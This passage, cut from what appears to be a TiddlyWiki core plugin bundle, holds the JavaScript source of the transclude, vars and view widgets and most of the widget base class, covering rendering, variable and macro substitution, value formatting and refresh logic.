this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.tiddler = TiddlerWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/transclude.js": {
            "title": "$:/core/modules/widgets/transclude.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/transclude.js\ntype: application/javascript\nmodule-type: widget\n\nTransclude widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar TranscludeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nTranscludeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nTranscludeWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nTranscludeWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.transcludeTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.transcludeSubTiddler = this.getAttribute(\"subtiddler\");\n\tthis.transcludeField = this.getAttribute(\"field\");\n\tthis.transcludeIndex = this.getAttribute(\"index\");\n\tthis.transcludeMode = this.getAttribute(\"mode\");\n\t// Parse the text reference\n\tvar parseAsInline = !this.parseTreeNode.isBlock;\n\tif(this.transcludeMode === \"inline\") {\n\t\tparseAsInline = true;\n\t} else if(this.transcludeMode === \"block\") {\n\t\tparseAsInline = false;\n\t}\n\tvar parser = this.wiki.parseTextReference(\n\t\t\t\t\t\tthis.transcludeTitle,\n\t\t\t\t\t\tthis.transcludeField,\n\t\t\t\t\t\tthis.transcludeIndex,\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tparseAsInline: parseAsInline,\n\t\t\t\t\t\t\tsubTiddler: this.transcludeSubTiddler\n\t\t\t\t\t\t}),\n\t\tparseTreeNodes = parser ? parser.tree : this.parseTreeNode.children;\n\t// Set context variables for recursion detection\n\tvar recursionMarker = this.makeRecursionMarker();\n\tthis.setVariable(\"transclusion\",recursionMarker);\n\t// Check for recursion\n\tif(parser) {\n\t\tif(this.parentWidget && this.parentWidget.hasVariable(\"transclusion\",recursionMarker)) {\n\t\t\tparseTreeNodes = [{type: \"element\", tag: \"span\", attributes: {\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-error\"}\n\t\t\t}, children: [\n\t\t\t\t{type: \"text\", text: $tw.language.getString(\"Error/RecursiveTransclusion\")}\n\t\t\t]}];\n\t\t}\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets(parseTreeNodes);\n};\n\n/*\nCompose a string comprising the title, field and/or index to identify this transclusion for recursion detection\n*/\nTranscludeWidget.prototype.makeRecursionMarker = function() {\n\tvar output = [];\n\toutput.push(\"{\");\n\toutput.push(this.getVariable(\"currentTiddler\",{defaultValue: \"\"}));\n\toutput.push(\"|\");\n\toutput.push(this.transcludeTitle || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeField || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeIndex || \"\");\n\toutput.push(\"|\");\n\toutput.push(this.transcludeSubTiddler || \"\");\n\toutput.push(\"}\");\n\treturn output.join(\"\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nTranscludeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedTiddlers[this.transcludeTitle]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\t\t\n\t}\n};\n\nexports.transclude = TranscludeWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/vars.js": {
            "title": "$:/core/modules/widgets/vars.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/vars.js\ntype: application/javascript\nmodule-type: widget\n\nThis widget allows multiple variables to be set in one go:\n\n```\n\\define helloworld() Hello world!\n<$vars greeting=\"Hi\" me={{!!title}} sentence=<<helloworld>>>\n  <<greeting>>! I am <<me>> and I say: <<sentence>>\n</$vars>\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar VarsWidget = function(parseTreeNode,options) {\n\t// Call the constructor\n\tWidget.call(this);\n\t// Initialise\t\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nVarsWidget.prototype = Object.create(Widget.prototype);\n\n/*\nRender this widget into the DOM\n*/\nVarsWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nVarsWidget.prototype.execute = function() {\n\t// Parse variables\n\tvar self = this;\n\t$tw.utils.each(this.attributes,function(val,key) {\n\t\tif(key.charAt(0) !== \"$\") {\n\t\t\tself.setVariable(key,val);\n\t\t}\n\t});\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nVarsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(Object.keys(changedAttributes).length) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\nexports[\"vars\"] = VarsWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/view.js": {
            "title": "$:/core/modules/widgets/view.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/view.js\ntype: application/javascript\nmodule-type: widget\n\nView widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ViewWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nViewWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nViewWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tif(this.text) {\n\t\tvar textNode = this.document.createTextNode(this.text);\n\t\tparent.insertBefore(textNode,nextSibling);\n\t\tthis.domNodes.push(textNode);\n\t} else {\n\t\tthis.makeChildWidgets();\n\t\tthis.renderChildren(parent,nextSibling);\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nViewWidget.prototype.execute = function() {\n\t// Get parameters from our attributes\n\tthis.viewTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.viewSubtiddler = this.getAttribute(\"subtiddler\");\n\tthis.viewField = this.getAttribute(\"field\",\"text\");\n\tthis.viewIndex = this.getAttribute(\"index\");\n\tthis.viewFormat = this.getAttribute(\"format\",\"text\");\n\tthis.viewTemplate = this.getAttribute(\"template\",\"\");\n\tthis.viewMode = this.getAttribute(\"mode\",\"block\");\n\tswitch(this.viewFormat) {\n\t\tcase \"htmlwikified\":\n\t\t\tthis.text = this.getValueAsHtmlWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"plainwikified\":\n\t\t\tthis.text = this.getValueAsPlainWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"htmlencodedplainwikified\":\n\t\t\tthis.text = this.getValueAsHtmlEncodedPlainWikified(this.viewMode);\n\t\t\tbreak;\n\t\tcase \"htmlencoded\":\n\t\t\tthis.text = this.getValueAsHtmlEncoded();\n\t\t\tbreak;\n\t\tcase \"urlencoded\":\n\t\t\tthis.text = this.getValueAsUrlEncoded();\n\t\t\tbreak;\n\t\tcase \"doubleurlencoded\":\n\t\t\tthis.text = this.getValueAsDoubleUrlEncoded();\n\t\t\tbreak;\n\t\tcase \"date\":\n\t\t\tthis.text = this.getValueAsDate(this.viewTemplate);\n\t\t\tbreak;\n\t\tcase \"relativedate\":\n\t\t\tthis.text = this.getValueAsRelativeDate();\n\t\t\tbreak;\n\t\tcase \"stripcomments\":\n\t\t\tthis.text = this.getValueAsStrippedComments();\n\t\t\tbreak;\n\t\tcase \"jsencoded\":\n\t\t\tthis.text = this.getValueAsJsEncoded();\n\t\t\tbreak;\n\t\tdefault: // \"text\"\n\t\t\tthis.text = this.getValueAsText();\n\t\t\tbreak;\n\t}\n};\n\n/*\nThe various formatter functions are baked into this widget for the moment. Eventually they will be replaced by macro functions\n*/\n\n/*\nRetrieve the value of the widget. Options are:\nasString: Optionally return the value as a string\n*/\nViewWidget.prototype.getValue = function(options) {\n\toptions = options || {};\n\tvar value = options.asString ? \"\" : undefined;\n\tif(this.viewIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.viewTitle,this.viewIndex);\n\t} else {\n\t\tvar tiddler;\n\t\tif(this.viewSubtiddler) {\n\t\t\ttiddler = this.wiki.getSubTiddler(this.viewTitle,this.viewSubtiddler);\t\n\t\t} else {\n\t\t\ttiddler = this.wiki.getTiddler(this.viewTitle);\n\t\t}\n\t\tif(tiddler) {\n\t\t\tif(this.viewField === \"text\" && !this.viewSubtiddler) {\n\t\t\t\t// Calling getTiddlerText() triggers lazy loading of skinny tiddlers\n\t\t\t\tvalue = this.wiki.getTiddlerText(this.viewTitle);\n\t\t\t} else {\n\t\t\t\tif($tw.utils.hop(tiddler.fields,this.viewField)) {\n\t\t\t\t\tif(options.asString) {\n\t\t\t\t\t\tvalue = tiddler.getFieldString(this.viewField);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = tiddler.fields[this.viewField];\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif(this.viewField === \"title\") {\n\t\t\t\tvalue = this.viewTitle;\n\t\t\t}\n\t\t}\n\t}\n\treturn value;\n};\n\nViewWidget.prototype.getValueAsText = function() {\n\treturn this.getValue({asString: true});\n};\n\nViewWidget.prototype.getValueAsHtmlWikified = function(mode) {\n\treturn this.wiki.renderText(\"text/html\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t});\n};\n\nViewWidget.prototype.getValueAsPlainWikified = function(mode) {\n\treturn this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t});\n};\n\nViewWidget.prototype.getValueAsHtmlEncodedPlainWikified = function(mode) {\n\treturn $tw.utils.htmlEncode(this.wiki.renderText(\"text/plain\",\"text/vnd.tiddlywiki\",this.getValueAsText(),{\n\t\tparseAsInline: mode !== \"block\",\n\t\tparentWidget: this\n\t}));\n};\n\nViewWidget.prototype.getValueAsHtmlEncoded = function() {\n\treturn $tw.utils.htmlEncode(this.getValueAsText());\n};\n\nViewWidget.prototype.getValueAsUrlEncoded = function() {\n\treturn encodeURIComponent(this.getValueAsText());\n};\n\nViewWidget.prototype.getValueAsDoubleUrlEncoded = function() {\n\treturn encodeURIComponent(encodeURIComponent(this.getValueAsText()));\n};\n\nViewWidget.prototype.getValueAsDate = function(format) {\n\tformat = format || \"YYYY MM DD 0hh:0mm\";\n\tvar value = $tw.utils.parseDate(this.getValue());\n\tif(value && $tw.utils.isDate(value) && value.toString() !== \"Invalid Date\") {\n\t\treturn $tw.utils.formatDateString(value,format);\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\nViewWidget.prototype.getValueAsRelativeDate = function(format) {\n\tvar value = $tw.utils.parseDate(this.getValue());\n\tif(value && $tw.utils.isDate(value) && value.toString() !== \"Invalid Date\") {\n\t\treturn $tw.utils.getRelativeDate((new Date()) - (new Date(value))).description;\n\t} else {\n\t\treturn \"\";\n\t}\n};\n\nViewWidget.prototype.getValueAsStrippedComments = function() {\n\tvar lines = this.getValueAsText().split(\"\\n\"),\n\t\tout = [];\n\tfor(var line=0; line<lines.length; line++) {\n\t\tvar text = lines[line];\n\t\tif(!/^\\s*\\/\\/#/.test(text)) {\n\t\t\tout.push(text);\n\t\t}\n\t}\n\treturn out.join(\"\\n\");\n};\n\nViewWidget.prototype.getValueAsJsEncoded = function() {\n\treturn $tw.utils.stringify(this.getValueAsText());\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nViewWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.template || changedAttributes.format || changedTiddlers[this.viewTitle]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn false;\t\n\t}\n};\n\nexports.view = ViewWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/widget.js": {
            "title": "$:/core/modules/widgets/widget.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/widget.js\ntype: application/javascript\nmodule-type: widget\n\nWidget base class\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nCreate a widget object for a parse tree node\n\tparseTreeNode: reference to the parse tree node to be rendered\n\toptions: see below\nOptions include:\n\twiki: mandatory reference to wiki associated with this render tree\n\tparentWidget: optional reference to a parent renderer node for the context chain\n\tdocument: optional document object to use instead of global document\n*/\nvar Widget = function(parseTreeNode,options) {\n\tif(arguments.length > 0) {\n\t\tthis.initialise(parseTreeNode,options);\n\t}\n};\n\n/*\nInitialise widget properties. These steps are pulled out of the constructor so that we can reuse them in subclasses\n*/\nWidget.prototype.initialise = function(parseTreeNode,options) {\n\toptions = options || {};\n\t// Save widget info\n\tthis.parseTreeNode = parseTreeNode;\n\tthis.wiki = options.wiki;\n\tthis.parentWidget = options.parentWidget;\n\tthis.variablesConstructor = function() {};\n\tthis.variablesConstructor.prototype = this.parentWidget ? this.parentWidget.variables : {};\n\tthis.variables = new this.variablesConstructor();\n\tthis.document = options.document;\n\tthis.attributes = {};\n\tthis.children = [];\n\tthis.domNodes = [];\n\tthis.eventListeners = {};\n\t// Hashmap of the widget classes\n\tif(!this.widgetClasses) {\n\t\tWidget.prototype.widgetClasses = $tw.modules.applyMethods(\"widget\");\n\t}\n};\n\n/*\nRender this widget into the DOM\n*/\nWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nWidget.prototype.execute = function() {\n\tthis.makeChildWidgets();\n};\n\n/*\nSet the value of a context variable\nname: name of the variable\nvalue: value of the variable\nparams: array of {name:, default:} for each parameter\nisMacroDefinition: true if the variable is set via a \\define macro pragma (and hence should have variable substitution performed)\n*/\nWidget.prototype.setVariable = function(name,value,params,isMacroDefinition) {\n\tthis.variables[name] = {value: value, params: params, isMacroDefinition: !!isMacroDefinition};\n};\n\n/*\nGet the prevailing value of a context variable\nname: name of variable\noptions: see below\nOptions include\nparams: array of {name:, value:} for each parameter\ndefaultValue: default value if the variable is not defined\n\nReturns an object with the following fields:\n\nparams: array of {name:,value:} of parameters passed to wikitext variables\ntext: text of variable, with parameters properly substituted\n*/\nWidget.prototype.getVariableInfo = function(name,options) {\n\toptions = options || {};\n\tvar actualParams = options.params || [],\n\t\tparentWidget = this.parentWidget;\n\t// Check for the variable defined in the parent widget (or an ancestor in the prototype chain)\n\tif(parentWidget && name in parentWidget.variables) {\n\t\tvar variable = parentWidget.variables[name],\n\t\t\tvalue = variable.value,\n\t\t\tparams = this.resolveVariableParameters(variable.params,actualParams);\n\t\t// Substitute any parameters specified in the definition\n\t\t$tw.utils.each(params,function(param) {\n\t\t\tvalue = $tw.utils.replaceString(value,new RegExp(\"\\\\$\" + $tw.utils.escapeRegExp(param.name) + \"\\\\$\",\"mg\"),param.value);\n\t\t});\n\t\t// Only substitute variable references if this variable was defined with the \\define pragma\n\t\tif(variable.isMacroDefinition) {\n\t\t\tvalue = this.substituteVariableReferences(value);\t\t\t\n\t\t}\n\t\treturn {\n\t\t\ttext: value,\n\t\t\tparams: params\n\t\t};\n\t}\n\t// If the variable doesn't exist in the parent widget then look for a macro module\n\treturn {\n\t\ttext: this.evaluateMacroModule(name,actualParams,options.defaultValue)\n\t};\n};\n\n/*\nSimplified version of getVariableInfo() that just returns the text\n*/\nWidget.prototype.getVariable = function(name,options) {\n\treturn this.getVariableInfo(name,options).text;\n};\n\nWidget.prototype.resolveVariableParameters = function(formalParams,actualParams) {\n\tformalParams = formalParams || [];\n\tactualParams = actualParams || [];\n\tvar nextAnonParameter = 0, // Next candidate anonymous parameter in macro call\n\t\tparamInfo, paramValue,\n\t\tresults = [];\n\t// Step through each of the parameters in the macro definition\n\tfor(var p=0; p<formalParams.length; p++) {\n\t\t// Check if we've got a macro call parameter with the same name\n\t\tparamInfo = formalParams[p];\n\t\tparamValue = undefined;\n\t\tfor(var m=0; m<actualParams.length; m++) {\n\t\t\tif(actualParams[m].name === paramInfo.name) {\n\t\t\t\tparamValue = actualParams[m].value;\n\t\t\t}\n\t\t}\n\t\t// If not, use the next available anonymous macro call parameter\n\t\twhile(nextAnonParameter < actualParams.length && actualParams[nextAnonParameter].name) {\n\t\t\tnextAnonParameter++;\n\t\t}\n\t\tif(paramValue === undefined && nextAnonParameter < actualParams.length) {\n\t\t\tparamValue = actualParams[nextAnonParameter++].value;\n\t\t}\n\t\t// If we've still not got a value, use the default, if any\n\t\tparamValue = paramValue || paramInfo[\"default\"] || \"\";\n\t\t// Store the parameter name and value\n\t\tresults.push({name: paramInfo.name, value: paramValue});\n\t}\n\treturn results;\n};\n\nWidget.prototype.substituteVariableReferences = function(text) {\n\tvar self = this;\n\treturn (text || \"\").replace(/\\$\\(([^\\)\\$]+)\\)\\$/g,function(match,p1,offset,string) {\n\t\treturn self.getVariable(p1,{defaultValue: \"\"});\n\t});\n};\n\nWidget.prototype.evaluateMacroModule = function(name,actualParams,defaultValue) {\n\tif($tw.utils.hop($tw.macros,name)) {\n\t\tvar macro = $tw.macros[name],\n\t\t\targs = [];\n\t\tif(macro.params.length > 0) {\n\t\t\tvar nextAnonParameter = 0, // Next candidate anonymous parameter in macro call\n\t\t\t\tparamInfo, paramValue;\n\t\t\t// Step through each of the parameters in the macro definition\n\t\t\tfor(var p=0; p<macro.params.length; p++) {\n\t\t\t\t// Check if we've got a macro call parameter with the same name\n\t\t\t\tparamInfo = macro.params[p];\n\t\t\t\tparamValue = undefined;\n\t\t\t\tfor(var m=0; m<actualParams.length; m++) {\n\t\t\t\t\tif(actualParams[m].name === paramInfo.name) {\n\t\t\t\t\t\tparamValue = actualParams[m].value;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If not, use the next available anonymous macro call parameter\n\t\t\t\twhile(nextAnonParameter < actualParams.length && actualParams[nextAnonParameter].name) {\n\t\t\t\t\tnextAnonParameter++;\n\t\t\t\t}\n\t\t\t\tif(paramValue === undefined && nextAnonParameter < actualParams.length) {\n\t\t\t\t\tparamValue = actualParams[nextAnonParameter++].value;\n\t\t\t\t}\n\t\t\t\t// If we've still not got a value, use the default, if any\n\t\t\t\tparamValue = paramValue || paramInfo[\"default\"] || \"\";\n\t\t\t\t// Save the parameter\n\t\t\t\targs.push(paramValue);\n\t\t\t}\n\t\t}\n\t\telse for(var i=0; i<actualParams.length; ++i) {\n\t\t\targs.push(actualParams[i].value);\n\t\t}\n\t\treturn (macro.run.apply(this,args) || \"\").toString();\n\t} else {\n\t\treturn defaultValue;\n\t}\n};\n\n/*\nCheck whether a given context variable value exists in the parent chain\n*/\nWidget.prototype.hasVariable = function(name,value) {\n\tvar node = this;\n\twhile(node) {\n\t\tif($tw.utils.hop(node.variables,name) && node.variables[name].value === value) {\n\t\t\treturn true;\n\t\t}\n\t\tnode = node.parentWidget;\n\t}\n\treturn false;\n};\n\n/*\nConstruct a qualifying string based on a hash of concatenating the values of a given variable in the parent chain\n*/\nWidget.prototype.getStateQualifier = function(name) {\n\tthis.qualifiers = this.qualifiers || Object.create(null);\n\tname = name || \"transclusion\";\n\tif(this.qualifiers[name]) {\n\t\treturn this.qualifiers[name];\n\t} else {\n\t\tvar output = [],\n\t\t\tnode = this;\n\t\twhile(node && node.parentWidget) {\n\t\t\tif($tw.utils.hop(node.parentWidget.variables,name)) {\n\t\t\t\toutput.push(node.getVariable(name));\n\t\t\t}\n\t\t\tnode = node.parentWidget;\n\t\t}\n\t\tvar value = $tw.utils.hashString(output.join(\"\"));\n\t\tthis.qualifiers[name] = value;\n\t\treturn value;\n\t}\n};\n\n/*\nCompute the current values of the attributes of the widget. Returns a hashmap of the names of the attributes that have changed\n*/\nWidget.prototype.computeAttributes = function() {\n\tvar changedAttributes = {},\n\t\tself = this,\n\t\tvalue;\n\t$tw.utils.each(this.parseTreeNode.attributes,function(attribute,name) {\n\t\tif(attribute.type === \"filtered\") {\n\t\t\tvalue = self.wiki.filterTiddlers(attribute.filter,self)[0] || \"\";\n\t\t} else if(attribute.type === \"indirect\") {\n\t\t\tvalue = self.wiki.getTextReference(attribute.textReference,\"\",self.getVariable(\"currentTiddler\"));\n\t\t} else if(attribute.type === \"macro\") {\n\t\t\tvalue = self.getVariable(attribute.value.name,{params: attribute.value.params});\n\t\t} else { // String attribute\n\t\t\tvalue = attribute.value;\n\t\t}\n\t\t// Check whether the attribute has changed\n\t\tif(self.attributes[name] !== value) {\n\t\t\tself.attributes[name] = value;\n\t\t\tchangedAttributes[name] = true;\n\t\t}\n\t});\n\treturn changedAttributes;\n};\n\n/*\nCheck for the presence of an attribute\n*/\nWidget.prototype.hasAttribute = function(name) {\n\treturn $tw.utils.hop(this.attributes,name);\n};\n\n/*\nGet the value of an attribute\n*/\nWidget.prototype.getAttribute = function(name,defaultText) {\n\tif($tw.utils.hop(this.attributes,name)) {\n\t\treturn this.attributes[name];\n\t} else {\n\t\treturn defaultText;\n\t}\n};\n\n/*\nAssign the computed attributes of the widget to a domNode\noptions include:\nexcludeEventAttributes: ignores attributes whose name begins with \"on\"\n*/\nWidget.prototype.assignAttributes = function(domNode,options) {\n\toptions = options || {};\n\tvar self = this;\n\t$tw.utils.each(this.attributes,function(v,a) {\n\t\t// Check exclusions\n\t\tif(options.excludeEventAttributes && a.substr(0,2) === \"on\") {\n\t\t\tv = undefined;\n\t\t}\n\t\tif(v !== undefined) {\n\t\t\tvar b = a.split(\":\");\n\t\t\t// Setting certain attributes can cause a DOM error (eg xmlns on the svg element)\n\t\t\ttry {\n\t\t\t\tif (b.length == 2 && b[0] == \"xlink\"){\n\t\t\t\t\tdomNode.setAttributeNS(\"http://www.w3.org/1999/xlink\",b[1],v);\n\t\t\t\t} else {\n\t\t\t\t\tdomNode.setAttributeNS(null,a,v);\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\nMake child widgets correspondng to specified parseTreeNodes\n*/\nWidget.prototype.makeChildWidgets = function(parseTreeNodes) {\n\tthis.children = [];\n\tvar self = this;\n\t$tw.utils.each(parseTreeNodes || (this.parseTreeNode && this.parseTreeNode.children),function(childNode) {\n\t\tself.children.push(self.makeChildWidget(childNode));\n\t});\n};\n\n/*\nConstruct the widget object for a parse tree node\n*/\nWidget.prototype.makeChildWidget = function(parseTreeNode) {\n\tvar WidgetClass = this.widgetClasses[parseTreeNode.type];\n\tif(!WidgetClass) {\n\t\tWidgetClass = this.widgetClasses.text;\n\t\tparseTreeNode = {type: \"text\", text: \"Undefined widget '\" + parseTreeNode.type + \"'\"};\n\t}\n\treturn new WidgetClass(parseTreeNode,{\n\t\twiki: this.wiki,\n\t\tvariables: {},\n\t\tparentWidget: this,\n\t\tdocument: this.document\n\t});\n};\n\n/*\nGet the next sibling of this widget\n*/\nWidget.prototype.nextSibling = function() {\n\tif(this.parentWidget) {\n\t\tvar index = this.parentWidget.children.indexOf(this);\n\t\tif(index !== -1 && index < this.parentWidget.children.length-1) {\n\t\t\treturn this.parentWidget.children[index+1];\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nGet the previous sibling of this widget\n*/\nWidget.prototype.previousSibling = function() {\n\tif(this.parentWidget) {\n\t\tvar index = this.parentWidget.children.indexOf(this);\n\t\tif(index !== -1 && index > 0) {\n\t\t\treturn this.parentWidget.children[index-1];\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRender the children of this widget into the DOM\n*/\nWidget.prototype.renderChildren = function(parent,nextSibling) {\n\t$tw.utils.each(this.children,function(childWidget) {\n\t\tchildWidget.render(parent,nextSibling);\n\t});\n};\n\n/*\nAdd a list of event listeners from an array [{type:,handler:},...]\n*/\nWidget.prototype.addEventListeners = function(listeners) {\n\tvar self = this;\n\t$tw.utils.each(listeners,function(listenerInfo) {\n\t\tself.addEventListener(listenerInfo.type,listenerInfo.handler);\n\t});\n};\n\n/*\nAdd an event listener\n*/\nWidget.prototype.addEventListener = function(type,handler) {\n\tvar self = this;\n\tif(typeof handler === \"string\") { // The handler is a method name on this widget\n\t\tthis.eventListeners[type] = function(event) {\n\t\t\treturn self[handler].call(self,event);\n\t\t};\n\t} else { // The handler is a function\n\t\tthis.eventListeners[type] = function(event) {\n\t\t\treturn handler.call(self,event);\n\t\t};\n\t}\n};\n\n/*\nDispatch an event to a widget. If the widget doesn't handle the event then it is also dispatched to the parent widget\n*/\nWidget.prototype.dispatchEvent = function(event) {\n\t// Dispatch the event if this widget handles it\n\tvar listener = this.eventListeners[event.type];\n\tif(listener) {\n\t\t// Don't propagate the event if the listener returned false\n\t\tif(!listener(event)) {\n\t\t\treturn false;\n\t\t}\n\t}\n\t// Dispatch the event to the parent widget\n\tif(this.parentWidget) {\n\t\treturn this.parentWidget.dispatchEvent(event);\n\t}\n\treturn true;\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nWidget.prototype.refresh = function(changedTiddlers) {\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nRebuild a previously rendered widget\n*/\nWidget.prototype.refreshSelf = function() {\n\tvar nextSibling = this.findNextSiblingDomNode();\n\tthis.removeChildDomNodes();\n\tthis.render(this.parentDomNode,nextSibling);\n};\n\n/*\nRefresh all the children of a widget\n*/\nWidget.prototype.refreshChildren = function(changedTiddlers) {\n\tvar self = this,\n\t\trefreshed = false;\n\t$tw.utils.each(this.children,function(childWidget) {\n\t\trefreshed = childWidget.refresh(changedTiddlers) || refreshed;\n\t});\n\treturn refreshed;\n};\n\n/*\nFind the next sibling in the DOM to this widget. This is done by scanning the widget tree through all next siblings and their descendents that share the same parent DOM node\n*/\nWidget.prototype.findNextSiblingDomNode = function(startIndex) {\n\t// Refer to this widget by its index within its parents children\n\tvar parent = this.parentWidget,\n\t\tindex = startIndex !== undefined ? startIndex : parent.children.indexOf(this);\nif(index === -1) {\n\tthrow \"node not found in parents children\";\n}\n\t// Look for a DOM node in the later siblings\n\twhile(++index < parent.children.length) {\n\t\tvar domNode = parent.children[index].findFirstDomNode();\n\t\tif(domNode) {\n\t\t\treturn domNode;\n\t\t}\n\t}\n\t// Go back and look for later siblings of our parent if it has the same parent dom node\n\tvar grandParent = parent.parentWidget;\n\tif(grandParent && parent.parentDomNode === this.parentDomNode) {\n\t\tindex = grandParent.children.indexOf(parent);\n\t\tif(index !== -1) {\n\t\t\treturn parent.findNextSiblingDomNode(index);\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nFind the first DOM node generated by a widget or its children\n*/\nWidget.prototype.findFirstDomNode = function() {\n\t// Return the first dom node of this widget, if we've got one\n\tif(this.domNodes.length > 0) {\n\t\treturn this.domNodes[0];\n\t}\n\t// Otherwise, recursively call our children\n\tfor(var t=0; t<this.children.length; t++) {\n\t\tvar domNode = this.children[t].findFirstDomNode();\n\t\tif(domNode) {\n\t\t\treturn domNode;\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRemove any DOM nodes created by this widget or its children\n*/\nWidget.prototype.removeChildDomNodes = function() {\n\t// If this widget has directly created DOM nodes, delete them and exit. This assumes that any child widgets are contained within the created DOM nodes, which would normally be the case\n\tif(this.domNodes.length > 0) {\n\t\t$tw.utils.each(this.domNodes,function(domNode) {\n\t\t\tdomNode.parentNode.removeChild(domNode);\n\t\t});\n\t\tthis.domNodes = [];\n\t} else {\n\t\t// Otherwise, ask the child widgets to delete their DOM nodes\n\t\t$tw.utils.each(this.children,function(childWidget) {\n\t\t\tchildWidget.removeChildDomNodes();\n\t\t});\n\t}\n};\n\n/*\nInvoke the action widgets that are descendents of the current widget.\n*/\nWidget.prototype.invokeActions = function(triggeringWidget,event) {\n\tvar handled = false;\n\t// For each child widget\n\tfor(var t=0; t<this.children.length; t++) {\n\t\tvar child = this.children[t];\n\t\t// Invoke the child if it is an action widget\n\t\tif(child.invokeAction) {\n\t\t\tchild.refreshSelf();\n\t\t\tif(child.invokeAction(triggeringWidget,event)) {\n\t\t\t\thandled = true;\n\t\t\t}\n\t\t}\n\t\t// Propagate through through the child if it permits it\n\t\tif(child.allowActionPropagation() && child.invokeActions(triggeringWidget,event)) {\n\t\t\thandled = true;\n\t\t}\n\t}\n\treturn handled;\n};\n\n/*\nInvoke the action widgets defined in a string\n*/\nWidget.prototype.invokeActionString = function(actions,triggeringWidget,event,variables) {\n\tactions = actions || \"\";\n\tvar parser = 